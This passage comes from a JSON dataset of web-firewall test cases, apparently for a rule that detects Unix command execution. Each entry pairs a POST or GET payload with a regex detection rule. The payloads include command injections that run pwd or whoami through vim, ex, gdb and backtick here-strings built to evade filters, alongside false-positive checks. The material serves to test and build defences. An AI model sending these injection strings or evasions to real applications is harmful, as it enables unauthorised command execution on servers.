\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:[\\s\\x0b&\\),<>\\|]|$).*))\\b", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932230", "test_description": "9323HNQU" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=;vim -c:\\!pwd\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?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\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b|[hr][\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?c|p[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?g)[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:[\\s\\x0b&\\),<>\\|]|$).*))\\b", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932230", "test_description": "9323HNQU" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=;ex -c:\\!pwd\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x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x5c?(?:(?:[&\\),<>\\|]|$){1,10}|(?:[\\-\\.0-9A-Z_a-z][\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?){1,10}(?:[\\s\\x0b&\\),<>\\|\\}]|$){1,10})|(?:d[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b|[hr][\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?c|p[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?g)[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:[\\s\\x0b&\\),<>\\|]|$).*))\\b", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932230", "test_description": "9323HNQU" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=;gdb -nx -ex \\!whoami -ex quit\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c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(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:(?:[&\\),<>\\|]|$){1,10}|(?:[\\-\\.0-9A-Z_a-z][\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?){1,10}(?:[\\s\\x0b&\\),<>\\|\\}]|$){1,10})|(?:d[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b|[hr][\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?c|p[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?g)[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:[\\s\\x0b&\\),<>\\|]|$).*))\\b", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932230", "test_description": "ATFHUJVF" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=;cat /path/file.gz\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?m[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?m[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c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?(?:[\\s\\x0b&\\),<>\\|]|$).*))\\b", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932230", "test_description": "JW2SU88A" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "args=;environment" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&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\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?c|p[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?g)[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:[\\s\\x0b&\\),<>\\|]|$).*))\\b", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932230", "test_description": "FP with word environment" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "args=;performance" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*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&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?){1,10}(?:[\\s\\x0b&\\),<>\\|\\}]|$){1,10})|(?:d[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b|[hr][\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?c|p[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?g)[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:[\\s\\x0b&\\),<>\\|]|$).*))\\b", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932230", "test_description": "FP with word performance" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "args=;env --version" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|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|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:(?:[&\\),<>\\|]|$){1,10}|(?:[\\-\\.0-9A-Z_a-z][\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?){1,10}(?:[\\s\\x0b&\\),<>\\|\\}]|$){1,10})|(?:d[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b|[hr][\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?c|p[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?g)[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:[\\s\\x0b&\\),<>\\|]|$).*))\\b", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932230", "test_description": "Block execution of env command with arguments" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=;`cat<<\\|]|$).*|[ls][\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?t[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\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\\?@_a-\\{]*)?\\x5c?(?:[\\s\\x0b&\\),<>\\|]|$).*)|g[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:(?:[&\\),<>\\|]|$){1,10}|(?:[\\-\\.0-9A-Z_a-z][\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?){1,10}(?:[\\s\\x0b&\\),<>\\|\\}]|$){1,10})|(?:d[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b|[hr][\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?c|p[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?g)[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:[\\s\\x0b&\\),<>\\|]|$).*))\\b", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932230", "test_description": "Block evasion using here string" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=;`cat<<< sh -c whoami`\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?m[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?m[\\\"'\\)\\[\\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x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:[\\s\\x0b&\\),<>\\|]|$).*))\\b", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932230", "test_description": "Block evasion using here string with space" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=;`cat<<<'sh -c whoami'`\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&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\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b|[hr][\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?c|p[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?g)[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:[\\s\\x0b&\\),<>\\|]|$).*))\\b", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932230", "test_description": "Block evasion using here string with single quotes" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=;`cat<<<\"sh -c whoami\"`\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#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#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:(?:[&\\),<>\\|]|$){1,10}|(?:[\\-\\.0-9A-Z_a-z][\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?){1,10}(?:[\\s\\x0b&\\),<>\\|\\}]|$){1,10})|(?:d[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b|[hr][\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?c|p[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?g)[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:[\\s\\x0b&\\),<>\\|]|$).*))\\b", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932230", "test_description": "Block evasion using here string with double quotes" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=;`cat<<<$(sh -c whoami)`\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_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),<>\\|]|$).*)|g[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:(?:[&\\),<>\\|]|$){1,10}|(?:[\\-\\.0-9A-Z_a-z][\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?){1,10}(?:[\\s\\x0b&\\),<>\\|\\}]|$){1,10})|(?:d[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b|[hr][\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?c|p[\\\"'\\)\\[\\x5c]